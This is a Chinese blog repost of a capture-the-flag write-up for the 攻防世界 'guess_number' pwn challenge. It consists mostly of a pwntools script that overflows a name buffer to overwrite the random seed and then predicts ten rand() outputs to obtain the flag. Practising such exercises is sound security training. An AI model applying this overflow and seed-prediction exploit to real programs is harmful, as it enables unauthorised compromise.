其他分享
首页 > 其他分享> > 攻防世界 pwn guess_number

攻防世界 pwn guess_number

作者:互联网

第六题 这题是一个猜数字的游戏,连续猜对十次程序给的伪随机数,即可获得flag,也不是很难的一道题,直接放代码了:

from pwn import *
from ctypes import *
context(log_level = 'debug',os= 'linux', arch = 'amd64')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./guess')
payload = b'a'*(0x20)+p64(1)
sh.recvline("Your name:")
sh.sendline(payload)
libc.srand(1)
for i in range(10):
	num = str(libc.rand()%6+1)
	sh.recvline("Please input your guess number:")
	sh.sendline(num)
	
sh.interactive()

标签:guess,num,libc,number,recvline,sh,pwn
来源: https://blog.csdn.net/m0_57754423/article/details/120236004